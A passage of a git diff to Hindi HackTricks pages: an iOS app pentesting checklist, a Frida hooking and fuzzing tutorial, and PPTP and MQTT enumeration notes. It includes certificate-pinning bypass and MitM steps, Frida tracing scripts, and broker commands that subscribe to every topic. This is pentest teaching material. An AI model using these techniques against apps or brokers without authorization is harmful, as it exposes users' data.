|
||||
* [ ] [**iOS प्रारंभिक विश्लेषण**](ios-pentesting/#initial-analysis) के सभी अनुभाग पढ़ें ताकि iOS एप्लिकेशन का परीक्षण करने के लिए सामान्य क्रियाओं को सीख सकें
|
||||
* [ ] [**iOS परीक्षण वातावरण**](ios-pentesting/ios-testing-environment.md) पढ़कर अपना वातावरण तैयार करें
|
||||
* [ ] [**iOS प्रारंभिक विश्लेषण**](ios-pentesting/#initial-analysis) के सभी अनुभाग पढ़ें ताकि iOS एप्लिकेशन का परीक्षण करने के लिए सामान्य क्रियाएँ सीख सकें
|
||||
|
||||
### डेटा संग्रहण
|
||||
|
||||
|
@ -47,7 +39,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
* [ ] [**Couchbase Lite डेटाबेस**](ios-pentesting/#couchbase-lite-databases) संवेदनशील जानकारी संग्रहीत कर सकता है।
|
||||
* [ ] [**बाइनरी कुकीज़**](ios-pentesting/#cookies) संवेदनशील जानकारी संग्रहीत कर सकती हैं
|
||||
* [ ] [**कैश डेटा**](ios-pentesting/#cache) संवेदनशील जानकारी संग्रहीत कर सकता है
|
||||
* [ ] [**स्वचालित स्नैपशॉट**](ios-pentesting/#snapshots) दृश्य संवेदनशील जानकारी को सहेज सकते हैं
|
||||
* [ ] [**स्वचालित स्नैपशॉट**](ios-pentesting/#snapshots) दृश्य संवेदनशील जानकारी को सहेज सकता है
|
||||
* [ ] [**कीचेन**](ios-pentesting/#keychain) आमतौर पर संवेदनशील जानकारी संग्रहीत करने के लिए उपयोग किया जाता है जो फोन को फिर से बेचते समय छोड़ी जा सकती है।
|
||||
* [ ] संक्षेप में, केवल **फाइल सिस्टम में एप्लिकेशन द्वारा सहेजी गई संवेदनशील जानकारी की जांच करें**
|
||||
|
||||
|
@ -63,16 +55,16 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
### बैकअप
|
||||
|
||||
* [ ] [**बैकअप**](ios-pentesting/#backups) का उपयोग **फाइल सिस्टम में सहेजी गई संवेदनशील जानकारी** तक पहुँचने के लिए किया जा सकता है (इस चेकलिस्ट के प्रारंभिक बिंदु की जांच करें)
|
||||
* [ ] इसके अलावा, [**बैकअप**](ios-pentesting/#backups) का उपयोग **एप्लिकेशन की कुछ कॉन्फ़िगरेशन को संशोधित करने** के लिए किया जा सकता है, फिर **बैकअप** को फोन पर **पुनर्स्थापित** करें, और जैसे ही **संशोधित कॉन्फ़िगरेशन** **लोड** होती है, कुछ (सुरक्षा) **कार्यात्मकता** को **बायपास** किया जा सकता है
|
||||
* [ ] इसके अलावा, [**बैकअप**](ios-pentesting/#backups) का उपयोग **एप्लिकेशन की कुछ कॉन्फ़िगरेशन को संशोधित करने** के लिए किया जा सकता है, फिर **फोन पर बैकअप को पुनर्स्थापित करें**, और जैसे ही **संशोधित कॉन्फ़िगरेशन** **लोड** होती है, कुछ (सुरक्षा) **कार्यात्मकता** को **बायपास** किया जा सकता है
|
||||
|
||||
### **एप्लिकेशन मेमोरी**
|
||||
|
||||
* [ ] [**एप्लिकेशन की मेमोरी**](ios-pentesting/#testing-memory-for-sensitive-data) के अंदर संवेदनशील जानकारी की जांच करें
|
||||
|
||||
### **टूटी हुई क्रिप्टोग्राफी**
|
||||
### **टूटे हुए क्रिप्टोग्राफी**
|
||||
|
||||
* [ ] जांचें कि क्या आप [**क्रिप्टोग्राफी के लिए उपयोग किए गए पासवर्ड**](ios-pentesting/#broken-cryptography) पा सकते हैं
|
||||
* [ ] संवेदनशील डेटा भेजने/सहेजने के लिए [**पुरानी/कमजोर एल्गोरिदम**](ios-pentesting/#broken-cryptography) के उपयोग की जांच करें
|
||||
* [ ] संवेदनशील डेटा भेजने/सहेजने के लिए [**पुराने/कमजोर एल्गोरिदम**](ios-pentesting/#broken-cryptography) के उपयोग की जांच करें
|
||||
* [ ] [**क्रिप्टोग्राफी फ़ंक्शंस को हुक और मॉनिटर करें**](ios-pentesting/#broken-cryptography)
|
||||
|
||||
### **स्थानीय प्रमाणीकरण**
|
||||
|
@ -86,14 +78,14 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
* [**कस्टम URI हैंडलर / डीपलिंक्स / कस्टम स्कीम**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [ ] जांचें कि क्या एप्लिकेशन **किसी प्रोटोकॉल/स्कीम को पंजीकृत कर रहा है**
|
||||
* [ ] जांचें कि क्या एप्लिकेशन **किसी प्रोटोकॉल/स्कीम का उपयोग करने के लिए पंजीकृत है**
|
||||
* [ ] जांचें कि क्या एप्लिकेशन **किसी प्रकार की संवेदनशील जानकारी प्राप्त करने की अपेक्षा कर रहा है** जो कस्टम स्कीम से **इंटरसेप्ट** की जा सकती है जो उसी स्कीम को पंजीकृत करने वाले दूसरे एप्लिकेशन द्वारा
|
||||
* [ ] जांचें कि क्या एप्लिकेशन **किसी प्रकार की संवेदनशील जानकारी प्राप्त करने की अपेक्षा करता है** जो कस्टम स्कीम से **इंटरसेप्ट** की जा सकती है जो उसी स्कीम को पंजीकृत करने वाले दूसरे एप्लिकेशन द्वारा
|
||||
* [ ] जांचें कि क्या एप्लिकेशन **कस्टम स्कीम के माध्यम से उपयोगकर्ता इनपुट की जांच और स्वच्छता नहीं कर रहा है** और कुछ **कमजोरी का लाभ उठाया जा सकता है**
|
||||
* [ ] जांचें कि क्या एप्लिकेशन **किसी संवेदनशील क्रिया को उजागर कर रहा है** जिसे कस्टम स्कीम के माध्यम से कहीं से भी कॉल किया जा सकता है
|
||||
* [**यूनिवर्सल लिंक्स**](ios-pentesting/#universal-links)
|
||||
* [ ] जांचें कि क्या एप्लिकेशन **किसी संवेदनशील क्रिया को उजागर करता है** जिसे कस्टम स्कीम के माध्यम से कहीं से भी कॉल किया जा सकता है
|
||||
* [**यूनिवर्सल लिंक**](ios-pentesting/#universal-links)
|
||||
* [ ] जांचें कि क्या एप्लिकेशन **किसी यूनिवर्सल प्रोटोकॉल/स्कीम को पंजीकृत कर रहा है**
|
||||
* [ ] `apple-app-site-association` फ़ाइल की जांच करें
|
||||
* [ ] जांचें कि क्या एप्लिकेशन **कस्टम स्कीम के माध्यम से उपयोगकर्ता इनपुट की जांच और स्वच्छता नहीं कर रहा है** और कुछ **कमजोरी का लाभ उठाया जा सकता है**
|
||||
* [ ] जांचें कि क्या एप्लिकेशन **किसी संवेदनशील क्रिया को उजागर कर रहा है** जिसे कस्टम स्कीम के माध्यम से कहीं से भी कॉल किया जा सकता है
|
||||
* [ ] जांचें कि क्या एप्लिकेशन **किसी संवेदनशील क्रिया को उजागर करता है** जिसे कस्टम स्कीम के माध्यम से कहीं से भी कॉल किया जा सकता है
|
||||
* [**UIActivity साझा करना**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] जांचें कि क्या एप्लिकेशन UIActivities प्राप्त कर सकता है और क्या इसे विशेष रूप से तैयार की गई गतिविधि के साथ किसी कमजोरी का लाभ उठाने के लिए संभव है
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
|
||||
|
@ -111,7 +103,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
### नेटवर्क संचार
|
||||
|
||||
* [ ] [**संचार के लिए MitM करें**](ios-pentesting/#network-communication) और वेब कमजोरियों की खोज करें।
|
||||
* [ ] जांचें कि क्या [**प्रमाणपत्र का होस्टनाम**](ios-pentesting/#hostname-check) की जांच की जाती है
|
||||
* [ ] जांचें कि क्या [**प्रमाणपत्र का होस्टनाम**](ios-pentesting/#hostname-check) की जांच की गई है
|
||||
* [ ] [**प्रमाणपत्र पिनिंग**](ios-pentesting/#certificate-pinning) की जांच/बायपास करें
|
||||
|
||||
### **विविध**
|
||||
|
@ -119,12 +111,6 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
* [ ] [**स्वचालित पैचिंग/अपडेटिंग**](ios-pentesting/#hot-patching-enforced-updateing) तंत्र की जांच करें
|
||||
* [ ] [**दुष्ट तृतीय पक्ष पुस्तकालयों**](ios-pentesting/#third-parties) की जांच करें
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -133,7 +119,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें **फॉलो** करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
|
||||
|
||||
|
@ -143,7 +129,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें ताकि आप आसानी से दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित **कार्यप्रवाहों** का निर्माण और **स्वचालित** कर सकें।\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें ताकि आप आसानी से **वर्कफ़्लो** बना सकें और **स्वचालित** कर सकें जो दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित हैं।\
|
||||
आज ही एक्सेस प्राप्त करें:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -15,20 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **फ्री** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **फ्री** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Installing Frida
|
||||
|
||||
**Jailbroken डिवाइस पर Frida स्थापित करने के चरण:**
|
||||
|
@ -80,7 +66,7 @@ frida-trace -U -W <if-plugin-bin> -m '*[* *]'
|
|||
```
|
||||
### सभी क्लास और मेथड प्राप्त करें
|
||||
|
||||
* ऑटो पूर्ण: बस `frida -U <program>` चलाएँ
|
||||
* ऑटो कंप्लीट: बस `frida -U <program>` चलाएँ
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -172,7 +158,7 @@ console.log("loaded");
|
|||
|
||||
आपके पास Frida Stalker को लागू करने का एक उदाहरण है [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)
|
||||
|
||||
यह एक और उदाहरण है कि कैसे हर बार एक फ़ंक्शन कॉल होने पर Frida Stalker को संलग्न किया जाए:
|
||||
यह एक और उदाहरण है कि कैसे हर बार एक फ़ंक्शन कॉल होने पर Frida Stalker को अटैच किया जाए:
|
||||
```javascript
|
||||
console.log("loading");
|
||||
const wg_log_addr = Module.findExportByName("<Program>", "<function_name>");
|
||||
|
@ -324,18 +310,18 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
इस मामले में हम **हर payload के बाद ऐप को फिर से शुरू नहीं कर रहे हैं या स्थिति को बहाल नहीं कर रहे हैं**। इसलिए, यदि Frida को **crash** मिलता है, तो उस payload के बाद के **अगले इनपुट** भी **ऐप को क्रैश कर सकते हैं** (क्योंकि ऐप अस्थिर स्थिति में है) भले ही **इनपुट को ऐप को क्रैश नहीं करना चाहिए**।
|
||||
इस मामले में हम **हर payload के बाद ऐप को पुनरारंभ या स्थिति को पुनर्स्थापित नहीं कर रहे हैं**। इसलिए, यदि Frida एक **crash** पाता है, तो उसके बाद के **inputs** भी **ऐप को क्रैश** कर सकते हैं (क्योंकि ऐप एक अस्थिर स्थिति में है) भले ही **input को ऐप को क्रैश नहीं करना चाहिए**।
|
||||
|
||||
इसके अलावा, Frida iOS के अपवाद संकेतों में हुक करेगा, इसलिए जब **Frida को एक क्रैश मिलता है**, तो शायद **iOS क्रैश रिपोर्ट उत्पन्न नहीं होगी**।
|
||||
इसके अलावा, Frida iOS के अपवाद संकेतों में हुक करेगा, इसलिए जब **Frida एक crash पाता है**, तो शायद **iOS crash रिपोर्ट उत्पन्न नहीं होगी**।
|
||||
|
||||
इसे रोकने के लिए, उदाहरण के लिए, हम हर Frida क्रैश के बाद ऐप को फिर से शुरू कर सकते हैं।
|
||||
इसे रोकने के लिए, उदाहरण के लिए, हम हर Frida crash के बाद ऐप को पुनरारंभ कर सकते हैं।
|
||||
{% endhint %}
|
||||
|
||||
### Logs & Crashes
|
||||
|
||||
आप **macOS कंसोल** या **`log`** cli की जांच कर सकते हैं macOS लॉग की जांच करने के लिए।\
|
||||
आप **`idevicesyslog`** का उपयोग करके iOS से भी लॉग की जांच कर सकते हैं।\
|
||||
कुछ लॉग जानकारी को **`<private>`** जोड़कर छोड़ देंगे। सभी जानकारी दिखाने के लिए आपको [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) से कुछ प्रोफ़ाइल स्थापित करनी होगी ताकि वह निजी जानकारी सक्षम हो सके।
|
||||
कुछ लॉग जानकारी को **`<private>`** जोड़कर छोड़ देंगे। सभी जानकारी दिखाने के लिए आपको [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) से कुछ प्रोफ़ाइल स्थापित करनी होगी ताकि उस निजी जानकारी को सक्षम किया जा सके।
|
||||
|
||||
यदि आप नहीं जानते कि क्या करना है:
|
||||
```sh
|
||||
|
@ -374,29 +360,18 @@ iOS केवल एक ही ऐप के 25 क्रैश को स्ट
|
|||
|
||||
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **stealer malwares** द्वारा **compromised** किया गया है।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मैलवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और **फ्री** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **संपर्कित** किया गया है **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और उनके इंजन को **फ्री** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**पॉइंट-टू-पॉइंट टनलिंग प्रोटोकॉल (PPTP)** एक विधि है जो **दूरस्थ पहुंच** के लिए मोबाइल उपकरणों के लिए व्यापक रूप से उपयोग की जाती है। यह कुंजी के आदान-प्रदान के लिए **TCP पोर्ट 1723** का उपयोग करता है, जबकि **IP प्रोटोकॉल 47** (जनरल राउटिंग एनकैप्सुलेशन, या **GRE**) का उपयोग उन डेटा को एन्क्रिप्ट करने के लिए किया जाता है जो साथियों के बीच भेजा जाता है। यह सेटअप इंटरनेट पर एक सुरक्षित संचार चैनल स्थापित करने के लिए महत्वपूर्ण है, यह सुनिश्चित करते हुए कि आदान-प्रदान किया गया डेटा गोपनीय और अनधिकृत पहुंच से सुरक्षित रहे।
|
||||
**पॉइंट-टू-पॉइंट टनलिंग प्रोटोकॉल (PPTP)** एक विधि है जो **मोबाइल उपकरणों** के लिए **दूरस्थ पहुंच** के लिए व्यापक रूप से उपयोग की जाती है। यह **TCP पोर्ट 1723** का उपयोग कुंजी के आदान-प्रदान के लिए करता है, जबकि **IP प्रोटोकॉल 47** (जनरल राउटिंग एनकैप्सुलेशन, या **GRE**) का उपयोग उन डेटा को एन्क्रिप्ट करने के लिए किया जाता है जो साथियों के बीच भेजा जाता है। यह सेटअप इंटरनेट पर एक सुरक्षित संचार चैनल स्थापित करने के लिए महत्वपूर्ण है, यह सुनिश्चित करते हुए कि आदान-प्रदान किया गया डेटा गोपनीय और अनधिकृत पहुंच से सुरक्षित है।
|
||||
|
||||
**डिफ़ॉल्ट पोर्ट**:1723
|
||||
|
||||
|
@ -55,8 +42,8 @@ nmap –Pn -sSV -p1723 <IP>
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PRs सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,25 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर** द्वारा **समझौता** किया गया है।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है जो जानकारी चुराने वाले मैलवेयर के परिणामस्वरूप होते हैं।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **फ्री** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**MQ Telemetry Transport (MQTT)** को एक **पब्लिश/सब्सक्राइब मैसेजिंग प्रोटोकॉल** के रूप में जाना जाता है जो अपनी अत्यधिक सरलता और हल्केपन के लिए खड़ा है। यह प्रोटोकॉल विशेष रूप से उन वातावरणों के लिए तैयार किया गया है जहां उपकरणों की सीमित क्षमताएँ होती हैं और नेटवर्क पर काम करते हैं जो निम्न बैंडविड्थ, उच्च विलंबता, या अस्थिर कनेक्शनों की विशेषता रखते हैं। MQTT के मुख्य उद्देश्यों में नेटवर्क बैंडविड्थ के उपयोग को न्यूनतम करना और उपकरण संसाधनों पर मांग को कम करना शामिल है। इसके अतिरिक्त, इसका उद्देश्य विश्वसनीय संचार बनाए रखना और एक निश्चित स्तर की डिलीवरी आश्वासन प्रदान करना है। ये लक्ष्य MQTT को **मशीन-से-मशीन (M2M) संचार** और **इंटरनेट ऑफ थिंग्स (IoT)** के उभरते क्षेत्र के लिए अत्यधिक उपयुक्त बनाते हैं, जहां कई उपकरणों को कुशलता से जोड़ना आवश्यक है। इसके अलावा, MQTT मोबाइल अनुप्रयोगों के लिए अत्यधिक लाभकारी है, जहां बैंडविड्थ और बैटरी जीवन को बचाना महत्वपूर्ण है।
|
||||
**MQ Telemetry Transport (MQTT)** को **publish/subscribe messaging protocol** के रूप में जाना जाता है, जो अपनी अत्यधिक सरलता और हल्केपन के लिए प्रसिद्ध है। यह प्रोटोकॉल विशेष रूप से उन वातावरणों के लिए तैयार किया गया है जहां उपकरणों की सीमित क्षमताएँ होती हैं और नेटवर्क ऐसे होते हैं जो कम बैंडविड्थ, उच्च विलंबता, या अस्थिर कनेक्शनों की विशेषता रखते हैं। MQTT के मुख्य उद्देश्यों में नेटवर्क बैंडविड्थ के उपयोग को न्यूनतम करना और उपकरण संसाधनों पर मांग को कम करना शामिल है। इसके अतिरिक्त, इसका उद्देश्य विश्वसनीय संचार बनाए रखना और एक निश्चित स्तर की डिलीवरी आश्वासन प्रदान करना है। ये लक्ष्य MQTT को **machine-to-machine (M2M) communication** और **Internet of Things (IoT)** के उभरते क्षेत्र के लिए विशेष रूप से उपयुक्त बनाते हैं, जहां कई उपकरणों को कुशलता से जोड़ना आवश्यक है। इसके अलावा, MQTT मोबाइल अनुप्रयोगों के लिए अत्यधिक लाभकारी है, जहां बैंडविड्थ और बैटरी जीवन को बचाना महत्वपूर्ण है।
|
||||
|
||||
**डिफ़ॉल्ट पोर्ट:** 1883
|
||||
**Default port:** 1883
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
1883/tcp open mosquitto version 1.4.8 syn-ack
|
||||
|
@ -63,9 +50,9 @@ MQTT सेवा से कनेक्ट करने के लिए आप
|
|||
> subscribe "#" 1
|
||||
> subscribe "$SYS/#"
|
||||
```
|
||||
आप [**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn) का भी उपयोग कर सकते हैं
|
||||
आप [**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn) का भी उपयोग कर सकते हैं।
|
||||
|
||||
आप भी उपयोग कर सकते हैं:
|
||||
आप इसका भी उपयोग कर सकते हैं:
|
||||
```bash
|
||||
apt-get install mosquitto mosquitto-clients
|
||||
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
|
||||
|
@ -109,19 +96,19 @@ main()
|
|||
प्रकाशित/सदस्यता मॉडल में शामिल हैं:
|
||||
|
||||
* **प्रकाशक**: ब्रोकर में एक (या कई) विषयों पर एक संदेश प्रकाशित करता है।
|
||||
* **सदस्य**: ब्रोकर में एक (या कई) विषयों की सदस्यता लेता है और प्रकाशक द्वारा भेजे गए सभी संदेश प्राप्त करता है।
|
||||
* **सदस्य**: ब्रोकर में एक (या कई) विषयों की सदस्यता लेता है और प्रकाशक से भेजे गए सभी संदेश प्राप्त करता है।
|
||||
* **ब्रोकर**: प्रकाशकों से सदस्यों तक सभी संदेशों को रूट करता है।
|
||||
* **विषय**: एक या अधिक स्तरों से बना होता है जो एक फॉरवर्ड स्लैश द्वारा अलग होते हैं (जैसे, /smartshouse/livingroom/temperature)।
|
||||
|
||||
### पैकेट प्रारूप <a href="#f15a" id="f15a"></a>
|
||||
|
||||
हर MQTT पैकेट में एक निश्चित हेडर होता है (चित्र 02)।चित्र 02: निश्चित हेडर
|
||||
हर MQTT पैकेट में एक निश्चित हेडर होता है (चित्र 02)। चित्र 02: निश्चित हेडर
|
||||
|
||||
![https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png)
|
||||
|
||||
### पैकेट प्रकार
|
||||
|
||||
* CONNECT (1): क्लाइंट द्वारा सर्वर से कनेक्शन का अनुरोध करने के लिए प्रारंभ किया गया।
|
||||
* CONNECT (1): सर्वर से कनेक्शन का अनुरोध करने के लिए क्लाइंट द्वारा आरंभ किया गया।
|
||||
* CONNACK (2): सफल कनेक्शन की सर्वर की स्वीकृति।
|
||||
* PUBLISH (3): क्लाइंट से सर्वर या इसके विपरीत संदेश भेजने के लिए उपयोग किया जाता है।
|
||||
* PUBACK (4): PUBLISH पैकेट की स्वीकृति।
|
||||
|
@ -134,24 +121,13 @@ main()
|
|||
* UNSUBACK (11): UNSUBSCRIBE अनुरोध का सर्वर का उत्तर।
|
||||
* PINGREQ (12): क्लाइंट द्वारा भेजा गया एक हार्टबीट संदेश।
|
||||
